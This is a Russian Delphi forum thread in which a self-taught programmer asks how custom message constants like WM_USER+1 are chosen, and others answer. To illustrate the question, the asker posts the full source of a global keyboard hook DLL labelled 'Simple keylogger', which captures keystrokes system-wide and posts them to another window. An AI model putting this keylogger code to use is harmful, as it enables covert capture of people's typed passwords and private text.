Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 09.04.2010, 11:13   #1
MaxNik2009
Форумчанин
 
Аватар для MaxNik2009
 
Регистрация: 17.09.2009
Сообщений: 294
По умолчанию назначение и использование констант.

Я самоучка по тому прошу сильно не ругать...Собственно сам вопрос:
Иногда в исходниках встречается примерно такое
Код:
const
  wm_My = WM_USER + 1678;
........................................
PostMessage(hApp,wm_My, Ord(AryChar[0]), 0); //использование константы
так вот как определить что именно 1678 необходимо добавить к WM_USER?
принимаю благодарности в письменном виде( весы слева)...
MaxNik2009 вне форума Ответить с цитированием
Старый 09.04.2010, 14:43   #2
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,434
По умолчанию

ответ уже в вопросе..
Код:
const
  wm_My = WM_USER + 1678;
........................................
PostMessage(hApp,wm_My, Ord(AryChar[0]), 0); //использование константы
потому что + прибовляет в WM_USER именно 1678 а не что-либо другое..


Константа - это то что остаётся неизменным ВСЕГДА.
Человек_Борща вне форума Ответить с цитированием
Старый 09.04.2010, 14:56   #3
MaxNik2009
Форумчанин
 
Аватар для MaxNik2009
 
Регистрация: 17.09.2009
Сообщений: 294
По умолчанию

Цитата:
Сообщение от Человек_Борща Посмотреть сообщение
Константа - это то что остаётся неизменным ВСЕГДА.
Это то я понимаю. но как можно вычислить это значение?
может я не понятно изъясняюсь? попробую уточнить:
Например в хуке на клавиатуру
Код:
library hookDLL;

uses
  Windows, Messages;

const
  WM_KEYEVENT = WM_USER+1;

var
  HookHandle: HHOOK = 0 ;
  KeybrdState:TKeyboardState;
  Symbol:array[0..1] of char;

function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
begin
  if CODE = HC_ACTION then
   if ((LParam or (1 shl 30))=LParam) then
    begin
     ServerWnd:=FindWindow(nil,'Simple keylogger <7F3AB89>');
     GetKeyboardState(KeybrdState);
     ScanCode:=(LParam shr 16)and $FF;
     if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
      PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
                                                         else
      PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;

procedure SetKeyHook; stdcall; export;
begin
  if HookHandle=0 then
   HookHandle:=SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
end;

procedure DelKeyHook; stdcall; export;
begin
  if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
   HookHandle:=0;
end;

exports
  SetKeyHook, DelKeyHook;

begin
end.
используется WM_KEYEVENT = WM_USER+1;
как вычислить что именно необходимо WM_USER+1, а не WM_USER+222?
принимаю благодарности в письменном виде( весы слева)...

Последний раз редактировалось MaxNik2009; 09.04.2010 в 15:02.
MaxNik2009 вне форума Ответить с цитированием
Старый 09.04.2010, 15:37   #4
Alex Cones
Trust no one.
Старожил
 
Аватар для Alex Cones
 
Регистрация: 07.04.2009
Сообщений: 6,526
По умолчанию

Это системные константы. Чтобы не подключать здоровый модуль автор просто вытащил из него одну константу.

CTRL+Click на название модуля
SQUARY PROJECT - НАБОР БЕСПЛАТНЫХ ПРОГРАММ ДЛЯ РАБОЧЕГО СТОЛА.
МОЙ БЛОГ
GRAY FUR FRAMEWORK - УДОБНАЯ И БЫСТРАЯ РАЗРАБОТКА WINAPI ПРИЛОЖЕНИЙ
Alex Cones вне форума Ответить с цитированием
Старый 09.04.2010, 15:56   #5
evgn
Разрабатываюсь....
Пользователь
 
Регистрация: 16.11.2008
Сообщений: 68
По умолчанию

Просто в описании соответствующего эвента, в данном случае WM_KEYEVENT (событие нажатия на клавишу) будет присутствовать то же самое значение, в данном случае WM_USER + 1.
evgn вне форума Ответить с цитированием
Старый 09.04.2010, 17:02   #6
MaxNik2009
Форумчанин
 
Аватар для MaxNik2009
 
Регистрация: 17.09.2009
Сообщений: 294
По умолчанию

Цитата:
Сообщение от Alex Cones Посмотреть сообщение
Это системные константы. Чтобы не подключать здоровый модуль автор просто вытащил из него одну константу.

CTRL+Click на название модуля
WM_USER это системная константа модуля Messages, а WM_USER + 1 уже не системная.

evgn
т.е. если я объявляю WM_KEYEVENT = WM_USER+1 то и в основной программе нужно отлавливать WM_KEYEVENT?
принимаю благодарности в письменном виде( весы слева)...
MaxNik2009 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Смысл констант Alex Cones Свободное общение 18 29.03.2010 10:09
Видимость констант tae1980 Microsoft Office Excel 5 23.11.2009 12:06
считывание констант artemavd Общие вопросы Delphi 18 15.10.2008 15:32
произвольный выбор из констант Arhangel_bes Помощь студентам 11 12.10.2008 22:07
Замена констант в RichEdit. Pashekka Компоненты Delphi 1 24.09.2007 09:42